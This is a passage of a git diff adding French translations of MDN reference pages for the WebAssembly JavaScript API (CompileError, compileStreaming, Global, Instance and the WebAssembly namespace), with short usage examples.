+ <dd>Cette méthode renvoie un code qui pourrait provoquer la même erreur. Elle est héritée via {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.toString", "WebAssembly.CompileError.prototype.toString()")}}</dt>
+ <dd>Cette méthode renvoie une chaîne de caractères qui représente l'objet de l'erreur. Elle est héritée via {{jsxref("Error")}}.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Le fragment de code qui suit crée une instance de <code>CompileError</code> puis imprime ses détails dans la console :</p>
+
+<pre class="brush: js">try {
+  throw new WebAssembly.CompileError('Coucou', 'unFichier', 10);
+} catch (e) {
+  console.log(e instanceof CompileError); // true
+  console.log(e.message);                 // "Coucou"
+  console.log(e.name);                    // "CompileError"
+  console.log(e.fileName);                // "unFichier"
+  console.log(e.lineNumber);              // 10
+  console.log(e.columnNumber);            // 0
+  console.log(e.stack);                   // la pile d'appel pour le code
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#constructor-properties-of-the-webassembly-object', 'WebAssembly constructors')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Brouillon pour la définition Initiale de WebAssembly.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard', 'NativeError')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définition des types standards pour <code>NativeError</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.WebAssembly.CompileError")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/WebAssembly">Le portail WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Concepts">Les concepts relatifs à WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Using_the_JavaScript_API">Utiliser l'API JavaScript WebAssembly</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/compilestreaming/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/compilestreaming/index.html
new file mode 100644
index 0000000000..8dfca177d4
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/webassembly/compilestreaming/index.html
@@ -0,0 +1,81 @@
+---
+title: WebAssembly.compileStreaming()
+slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/compileStreaming
+tags:
+  - API
+  - JavaScript
+  - Méthode
+  - Object
+  - Reference
+  - WebAssembly
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/compileStreaming
+---
+<div>{{JSRef}}</div>
+
+<p>La fonction <strong><code>WebAssembly.compileStreaming()</code></strong> permet de compiler un module WebAssembly (c'est-à-dire un objet {{jsxref("WebAssembly.Module")}}) depuis un flux source. Cette fonction est utile si on doit compiler un module avant de l'instancier séparement, sinon on utilisera plutôt {{jsxref("WebAssembly.instantiateStreaming()")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Promise&lt;WebAssembly.Module&gt; WebAssembly.compileStreaming(<em>source</em>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>source</code></dt>
+ <dd>Un objet {{domxref("Response")}} ou une promesse qui sera résolue avec un objet {{domxref("Response")}} qui représentee la source du module .wasm qu'on souhaite manipuler comme un flux et compiler.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un objet <code>Promise</code> dont la valeur de résolution est un objet {{jsxref("WebAssembly.Module")}} qui représente le module compilé.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li>Si la compilation échoue, la promesse est rejetée avec une exception {{jsxref("WebAssembly.CompileError")}}.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple suivant (également disponible sur GitHub : <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/compile-streaming.html">compile-streaming.html</a> et avec <a href="https://mdn.github.io/webassembly-examples/js-api-examples/compile-streaming.html">le résultat <em>live</em></a>), on récupère un flux dedpuis un module .wasm puis on le compile en un objet {{jsxref("WebAssembly.Module")}}. La fonction <code>compileStreaming()</code>  acceptant une promesse pour un objet {{domxref("Response")}}, on peut directement passer l'appel à  {{domxref("WindowOrWorkerGlobalScope.fetch()")}} qui transfèrera la réponse dès que la promesse sera tenue.</p>
+
+<pre class="brush: js">var importObject = { imports: { imported_func: arg =&gt; console.log(arg) } };
+
+WebAssembly.compileStreaming(fetch('simple.wasm'))
+.then(module =&gt; WebAssembly.instantiate(module, importObject))
+.then(instance =&gt; instance.exports.exported_func());</pre>
+
+<p>Le module est ensuite instancié grâce à la fonction {{jsxref("WebAssembly.instantiate()")}}. Enfin, on appelle la fonction exportée.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly Embedding', '#webassemblycompilestreaming', 'compileStreaming()')}}</td>
+   <td>{{Spec2('WebAssembly Embedding')}}</td>
+   <td>Brouillon pour la définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.WebAssembly.compileStreaming")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/WebAssembly">La page d'aperçu de WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Concepts">Les concepts relatifs à WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Using_the_JavaScript_API">Utiliser l'API JavaScript de WebAssembly</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/global/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/global/index.html
new file mode 100644
index 0000000000..94ae405b8e
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/webassembly/global/index.html
@@ -0,0 +1,117 @@
+---
+title: WebAssembly.Global
+slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Global
+tags:
+  - API
+  - Constructor
+  - JavaScript
+  - Reference
+  - TopicStub
+  - WebAssembly
+  - global
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Global
+---
+<div>{{JSRef}}</div>
+
+<p>Un objet <strong><code>WebAssembly.Global</code></strong> représente une instance d'une variable globale, accessible depuis le code JavaScript et importable/exportable pour un ou plusieurs modules WebAssembly ({{jsxref("WebAssembly.Module")}}). Cela permet de lier dynamiquement plusieurs modules.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">var maGlobale = new WebAssembly.Global(<em>descripteur</em>, <em>valeur</em>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>descripteur</code></dt>
+ <dd>Un dictionnaire <code>GlobalDescriptor</code> qui contient deux propriétés :
+ <ul>
+  <li><code>value</code> : une valeur {{domxref("USVString")}} qui représente le type de donnée de la variable globale. Ce type peut être <code>i32</code>, <code>i64</code>, <code>f32</code> ou <code>f64</code>.</li>
+  <li><code>mutable</code> : un booléen qui indique si la variable globale peut être modifiée ou non. Par défaut, cette propriété vaut <code>false</code>.</li>
+ </ul>
+ </dd>
+ <dt><code>valeur</code></dt>
+ <dd>La valeur que la variable doit contenir. Ce peut être n'importe quelle valeur qui respecte le type de donnée de la variable. Si aucune valeur n'est indiquée, c'est une valeur nulle typée qui est utilisée, tel qu'indiqué dans l'<a href="https://webassembly.github.io/spec/js-api/#defaultvalue">algorithme <code>DefaultValue</code></a>.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p>Aucune.</p>
+
+<h2 id="Instances_de_WebAssembly.Global">Instances de <code>WebAssembly.Global</code></h2>
+
+<p>Toutes les instances de <code>Global</code> héritent du <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Global/prototype">prototype </a>du constructeur <code>Global()</code>. Ce prototype peut être modifié afin d'avoir un impact sur l'ensemble des instances de <code>Global</code>.</p>
+
+<h3 id="Propriétés_des_instances">Propriétés des instances</h3>
+
+<p>{{page('/fr/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Global/prototype', 'Propriétés')}}</p>
+
+<h3 id="Méthodes_des_instances">Méthodes des instances</h3>
+
+<p>{{page('/fr/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Global/prototype', 'Méthodes')}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple suivant, on montre comment créer une nouvelle instance globale grâce au constructeur <code>WebAssembly.Global()</code>. Cette instance globale est définie avec le type <code>i32</code> et est indiquée comme modifiable. Sa valeur initiale est 0.</p>
+
+<p>On change ensuite la valeur de la variable globale en la passant à 42 grâce à la propriété <code>Global.value</code> puis en la passant à 43 grâce à la fonction <code>incGlobal()</code> qui a été exportée depuis le module <code>global.wasm</code> (cette fonction ajoute 1 à n'imorte quelle valeur puis renvoie cette nouvelle valeur).</p>
+
+<pre class="brush: js notranslate">const output = document.getElementById('output');
+
+function assertEq(msg, got, expected) {
+    output.innerHTML += `Testing ${msg}: `;
+    if (got !== expected)
+        output.innerHTML += `FAIL!&lt;br&gt;Got: ${got}&lt;br&gt;Expected: ${expected}&lt;br&gt;`;
+    else
+        output.innerHTML += `SUCCESS! Got: ${got}&lt;br&gt;`;
+}
+
+assertEq("WebAssembly.Global exists", typeof WebAssembly.Global, "function");
+
+const global = new WebAssembly.Global({value:'i32', mutable:true}, 0);
+
+WebAssembly.instantiateStreaming(fetch('global.wasm'), { js: { global } })
+.then(({instance}) =&gt; {
+    assertEq("getting initial value from wasm", instance.exports.getGlobal(), 0);
+    global.value = 42;
+    assertEq("getting JS-updated value from wasm", instance.exports.getGlobal(), 42);
+    instance.exports.incGlobal();
+    assertEq("getting wasm-updated value from JS", global.value, 43);
+});</pre>
+
+<div class="note">
+<p><strong>Note</strong> : Cet exemple est<a href="https://mdn.github.io/webassembly-examples/js-api-examples/global.html"> utilisable sur GitHub</a> et <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/global.html">son code source est également disponible</a>.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#globals', 'WebAssembly.Global()')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Brouillon de spécification initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.WebAssembly.Global")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/WebAssembly">Page principale pour la section WebAssembly de MDN</a></li>
+ <li><a href="/fr/docs/WebAssembly/Concepts">Concepts WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Using_the_JavaScript_API">Utiliser l'API JavaScript WebAssembly</a></li>
+ <li><a href="https://github.com/WebAssembly/mutable-global/blob/master/proposals/mutable-global/Overview.md">La proposition pour l'import/export de variables globales modifiables</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/global/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/global/prototype/index.html
new file mode 100644
index 0000000000..35a27d9ef0
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/webassembly/global/prototype/index.html
@@ -0,0 +1,68 @@
+---
+title: WebAssembly.Global.prototype
+slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Global/prototype
+tags:
+  - JavaScript
+  - Propriété
+  - Prototype
+  - WebAssembly
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Global
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>WebAssembly.Global</strong></code><strong><code>.prototype</code></strong> représente le prototype du constructeur {{jsxref("WebAssembly.Global()")}}.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>Toutes les instances de {{jsxref("WebAssembly.Global")}} héritent de <code>Global.prototype</code>. L'objet prototype du constructeur {{jsxref("WebAssembly.Global()")}} peut être modifié afin d'avoir un impact sur l'ensemble des instances {{jsxref( "WebAssembly.Global")}}.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>Global.prototype.constructor</code></dt>
+ <dd>Cette propriété renvoie la fonction qui a créé l'instance de l'objet. Par défaut, c'est le constructeur {{jsxref("WebAssembly.Global()")}}.</dd>
+ <dt><code>Global.prototype[@@toStringTag]</code></dt>
+ <dd>La valeur initiale de la propriété <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Symbol/toStringTag">@@toStringTag</a></code> est la chaîne de caractères <code>"WebAssembly.Global"</code>.</dd>
+ <dt><code>Global.prototype.value</code></dt>
+ <dd>La valeur contenue à l'intérieur de la variable globale. Cette propriété peut être utilisée afin de modifier et d'accéder à la valeur globale.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt><code>Global.prototype.valueOf()</code></dt>
+ <dd>Une méthode qui renvoie la valeur contenue dans la variable globale.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#globals', 'WebAssembly.Global()')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Brouillon pour la définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.WebAssembly.Global.prototype")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("WebAssembly.Global()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/index.html
new file mode 100644
index 0000000000..b5932b027c
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/webassembly/index.html
@@ -0,0 +1,106 @@
+---
+title: WebAssembly
+slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly
+tags:
+  - API
+  - JavaScript
+  - Object
+  - Reference
+  - WebAssembly
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly
+---
+<div>{{JSRef}}</div>
+
+<p>L'objet JavaScript <strong><code>WebAssembly</code></strong> est un objet global qui agit comme un espace de noms (<em>namespace</em>) pour les différentes fonctionnalités JavaScript relatives à <a href="/fr/docs/WebAssembly">WebAssembly</a>.</p>
+
+<p>À la différence des autres objets globaux, <code>WebAssembly</code> n'est pas un constructeur (au même titre que {{jsxref("Math")}} qui agit comme un espace de noms pour les constantes et fonctions mathématiques ou comme {{jsxref("Intl")}} qui centralise les constructeurs et les opérations relatives à l'internationalisation).</p>
+
+<h2 id="Description">Description</h2>
+
+<p>L'objet <code>WebAssembly</code> est notamment utilisé pour :</p>
+
+<ul>
+ <li>Charger du code WebAssembly grâce à la fonction {{jsxref("WebAssembly.instantiate()")}}</li>
+ <li>Créer des zones mémoires et des instances de tableaux grâce aux constructeurs  {{jsxref("WebAssembly.Memory()")}}/{{jsxref("WebAssembly.Table()")}}.</li>
+ <li>Fournir des outils de gestion d'erreur WebAssembly grâce aux constructeurs {{jsxref("WebAssembly.CompileError()")}}/{{jsxref("WebAssembly.LinkError()")}}/{{jsxref("WebAssembly.RuntimeError()")}}.</li>
+</ul>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{jsxref("WebAssembly.instantiate()")}}</dt>
+ <dd>La méthode qu'on utilisera la plupart du temps pour compiler et instancier du code WebAssembly, elle renvoie une promesse qui est résolue en une <code>Instance</code> ou en une <code>Instance</code> et un <code>Module</code>.</dd>
+ <dt>{{jsxref("WebAssembly.instantiateStreaming()")}}</dt>
+ <dd>Cette méthode peremet de compiler et d'instancier un module WebAssembly à partir d'un flux source (<em>streamed source</em>). Elle renvoie à la fois un objet <code>Module</code> et sa première <code>Instance</code>.</dd>
+ <dt>{{jsxref("WebAssembly.compile()")}}</dt>
+ <dd>Cette méthode permet de compiler un {{jsxref("WebAssembly.Module")}} à partir de <em>bytecode</em>  WebAssembly, l'instanciation doit alors être effectuée dans une autre étape.</dd>
+ <dt>{{jsxref("WebAssembly.compileStreaming()")}}</dt>
+ <dd>Cette méthode permet de compiler un module {{jsxref("WebAssembly.Module")}} à partir d'un flux source (<em>streamed source</em>). L'instanciation devra alors être réalisée avec une autre étape.</dd>
+ <dt>{{jsxref("WebAssembly.validate()")}}</dt>
+ <dd>Cette méthode permet de valider un tableau typé censé contenir du <em>bytecode</em> WebAssembly : elle renvoie <code>true</code> si les octets forment un code WebAssembly valide ou <code>false</code> sinon.</dd>
+</dl>
+
+<h2 id="Constructeurs">Constructeurs</h2>
+
+<dl>
+ <dt>{{jsxref("WebAssembly.Global()")}}</dt>
+ <dd>Ce constructeur permet de créer un nouvel objet WebAssembly <code>Global</code>.</dd>
+ <dt>{{jsxref("WebAssembly.Module()")}}</dt>
+ <dd>Ce constructeur permet de créer un objet WebAssembly <code>Module</code>.</dd>
+ <dt>{{jsxref("WebAssembly.Instance()")}}</dt>
+ <dd>Ce constructeur permet de créer un objet WebAssembly <code>Instance</code>.</dd>
+ <dt>{{jsxref("WebAssembly.Memory()")}}</dt>
+ <dd>Ce constructeur permet de créer un objet WebAssembly <code>Memory</code>.</dd>
+ <dt>{{jsxref("WebAssembly.Table()")}}</dt>
+ <dd>Ce constructeur permet de créer un objet WebAssembly <code>Table</code>.</dd>
+ <dt>{{jsxref("WebAssembly.CompileError()")}}</dt>
+ <dd>Ce constructeur permet de créer un objet WebAssembly <code>CompileError</code>.</dd>
+ <dt>{{jsxref("WebAssembly.LinkError()")}}</dt>
+ <dd>Ce constructeur permet de créer un objet WebAssembly <code>LinkError</code>.</dd>
+ <dt>{{jsxref("WebAssembly.RuntimeError()")}}</dt>
+ <dd>Ce constructeur permet de créer un objet WebAssembly <code>RuntimeError</code>.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>L'exemple suivant (cf. le fichier <code><a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/instantiate-streaming.html">instantiate-streaming.html</a></code> sur GitHub et <a href="https://mdn.github.io/webassembly-examples/js-api-examples/instantiate-streaming.html">le résultat obtenu</a>) permet de récupérer le module WebAssembly via un flux depuis une source, de le compiler, puis de l'instancier. La promesse est résolue avec un objet <code>ResultObject</code>. La méthode <code>instantiateStreaming()</code> accepte une promesse pour l'argument {{domxref("Response")}}, on peut lui passer directement un appel à {{domxref("WindowOrWorkerGlobalScope.fetch()")}} qui passera ensuite la réponse à la fonction lors de la complétion de la promesse.</p>
+
+<pre class="brush: js">var importObject = { imports: { imported_func: arg =&gt; console.log(arg) } };
+
+WebAssembly.instantiateStreaming(fetch('simple.wasm'), importObject)
+.then(obj =&gt; obj.instance.exports.exported_func());</pre>
+
+<p>On accède alors à la propriété de l'instance <code>ResultObject</code> puis on appelle la fonction exportée.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#the-webassembly-object', 'WebAssembly')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Brouillon de définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.WebAssembly")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/WebAssembly">Le portail WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Concepts">Les concepts relatifs à WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Using_the_JavaScript_API">Utiliser l'API JavaScript WebAssembly</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/instance/exports/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/instance/exports/index.html
new file mode 100644
index 0000000000..cec4fddea3
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/webassembly/instance/exports/index.html
@@ -0,0 +1,71 @@
+---
+title: WebAssembly.Instance.prototype.exports
+slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Instance/exports
+tags:
+  - API
+  - Experimental
+  - JavaScript
+  - Propriété
+  - Reference
+  - WebAssembly
+  - instance
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance/exports
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <strong><code>exports</code></strong> du prototype de {{jsxref("WebAssembly.Instance")}} est une propriété en lecture seul qui renvoie un objet dont les propriétés sont les différentes fonctions exportées depuis l'instance du module WebAssembly. Cela permet d'y accéder et de les manipuler en JavaScript.</p>
+
+<pre class="syntaxbox">instance.exports</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Après avoir récupéré le <em>bytecode</em> WebAssembly grâce à la méthode <code>fetch()</code>, on le compile et on instancie le module grâce à la fonction {{jsxref("WebAssembly.instantiateStreaming()")}}. Lorsqu'on utilise cette fonction, on importe une fonction dans le module. Ensuite, on appelle <a href="/fr/docs/WebAssembly/Exported_functions">une fonction WebAssembly exportée</a> qui est exposée via l'instance.</p>
+
+<pre class="brush: js">var importObject = {
+  imports: {
+    imported_func: function(arg) {
+      console.log(arg);
+    }
+  }
+};
+WebAssembly.instantiateStreaming(fetch('simple.wasm'), importObject)
+.then(obj =&gt; obj.instance.exports.exported_func());</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Voir le fichier <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/index.html">index.html</a> sur GitHub (ainsi que <a href="https://mdn.github.io/webassembly-examples/js-api-examples/">la démonstration</a>) pour un exemple.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#webassemblyinstance-objects', 'WebAssembly.Instance objects')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Brouillon de définition initiale pour WebAssembly.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.WebAssembly.Instance.exports")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/WebAssembly">Le portail WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Concepts">Les concepts relatifs à WebAssembly</a></li>
+ <li><a href="/fr/docs/WebAssembly/Using_the_JavaScript_API">Utiliser l'API JavaScript WebAssembly</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/instance/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/instance/index.html
new file mode 100644
index 0000000000..93c6a9b324
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/webassembly/instance/index.html
@@ -0,0 +1,81 @@
+---
+title: WebAssembly.Instance()
+slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Instance
+tags:
+  - API
+  - Constructeur
+  - JavaScript
+  - Reference
+  - WebAssembly
+  - instance
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance
+---
+<div>{{JSRef}}</div>
+
+<p>Un objet <strong><code>WebAssembly.Instance</code></strong> représente un objet exécutable, avec un état, qui est une instance d'un <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/WebAssembly/Module">module WebAssembly</a>. Un objet <code>Instance</code> contient l'ensemble <a href="/fr/docs/WebAssembly/Exported_functions">des fonctions WebAssembly exportées</a> qui permettent d'invoquer du code WebAssembly depuis du code JavaScript.</p>
+
+<p>Le constructeur <code>WebAssembly.Instance()</code> peut être appelé afin de créer, de façon synchrone, une instance d'un {{jsxref("WebAssembly.Module")}} donné. Toutefois, pour obtenir une instance, on utilisera généralement la fonction asynchrone {{jsxref("WebAssembly.instantiateStreaming()")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<div class="warning">
+<p><strong>Important </strong>: L'instanciation de modules volumineux peut être coûteuse en temps/ressource. <code>Instance()</code> ne doit être utilisée que lorsqu'une instanciation synchrone est nécessaire. Pour tous les autres cas, c'est la méthode {{jsxref("WebAssembly.instantiateStreaming()")}} qui devrait être utilisée.</p>
+</div>
+
+<pre class="syntaxbox">var monInstance = new WebAssembly.Instance(<em>module</em>, <em>importObject</em>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>module</code></dt>
+ <dd>L'objet <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/WebAssembly/Module" title="The Module() constructor of the WebAssembly global object creates a new Module object instance."><code>WebAssembly.Module</code></a> qu'on souhaite instancier.</dd>
+ <dt><code>importObject</code> {{optional_inline}}</dt>
+ <dd>Un objet qui contient des valeurs à importer dans l'instance. Ce peuvent être des fonctions ou des objets <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/WebAssembly/Memory" title="The Memory() constructor of the WebAssembly global object creates a new Memory object instance, which represents a WebAssembly memory. These can be thought of as resizeable array buffers, wrappers around WebAssembly memories."><code>WebAssembly.Memory</code></a>. Il doit exister une propriété correspondante pour chaque import, si ce n'est pas le cas, un exception <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/WebAssembly/LinkError">WebAssembly.LinkError</a></code> sera levée.</dd>
+</dl>
+
+<h2 id="Instances_d'Instance">Instances d'<code>Instance</code></h2>
+
+<p>Toutes les instances du type <code>Instance</code> héritent du prototype du constructeur <code>Instance()</code>. Celui-ci peut être modifié afin de modifier l'ensemble des instances de <code>Instance</code>.</p>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<p>{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/WebAssembly/Instance/prototype', 'Propriétés')}}</p>
+
+<h3 id="Méthodes">Méthodes</h3>
+
+<p>{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/WebAssembly/Instance/prototype', 'Méthodes')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#webassemblyinstance-objects', 'Instance')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Définition initiale dans un brouillon de spécification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
